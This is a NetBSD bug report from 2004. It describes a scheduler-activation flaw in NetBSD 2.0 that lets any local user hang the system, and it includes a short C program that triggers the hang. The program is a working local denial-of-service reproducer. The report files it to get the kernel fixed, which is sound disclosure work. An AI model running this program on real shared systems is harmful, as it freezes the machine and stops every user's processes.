>Number:         28612
>Category:       kern
>Synopsis:       [scheduler activation] any local user can lock the system
>Confidential:   yes
>Severity:       critical
>Priority:       high
>Responsible:    kern-bug-people
>State:          open
>Class:          sw-bug
>Submitter-Id:   net
>Arrival-Date:   Sat Dec 11 23:18:00 +0000 2004
>Originator:     ITOH Yasufumi
>Release:        NetBSD 2.0
>Organization:
>Environment:
System: NetBSD babylon5.netbsd.org 2.0 NetBSD 2.0 (NBFTP.PROF) #0: Sun Dec  5 05:25:44 UTC 2004  root@ADMIN:/usr/src/sys/arch/i386/compile/NBFTP.PROF i386
Architecture: i386
Machine: i386

>Description:
	Scheduler activation may cause the system to hang.
	Any local user can hang the system.

	All processes stop, but some parts of kernel are alive
	(it responds to ping).

>How-To-Repeat:
	Run this program.
	(This is not supposed to be a correct SA usage --- I was
	playing with SA.)

#include <sa.h>
#include <ucontext.h>
#include <stdio.h>
#include <err.h>
#include <unistd.h>

/* ARGSUSED */
void
upcall_handler(type, sas, ev, intr, arg)
	int type, ev, intr;
	struct sa_t *sas[];
	void *arg;
{

	printf("type %d\n", type);
	switch (type) {
	case SA_UPCALL_NEWPROC:
		break;
	case SA_UPCALL_BLOCKED:
		sa_yield();
		break;
	default:
		break;
	}
	setcontext(sas[1]->sa_context);
}

int
main()
{
	long stack1[16384], stack2[16384];
	stack_t stackinfo[2] = {
		stack1, sizeof stack1, 0,
		stack2, sizeof stack2, 0
	};

	if (sa_register(upcall_handler, (sa_upcall_t *)0, 0, 0))
		err(1, "sa_register");
	printf("sa_stacks returns %d\n",
	    sa_stacks(sizeof stackinfo / sizeof(stack_t), stackinfo));
	(void) sa_enable();

	printf("sa enabled\n");
	sleep(1);
	printf("sleep return\n");
	return 0;
}

>Fix:
	unknown
	Need some sanity check in kern_sa.c?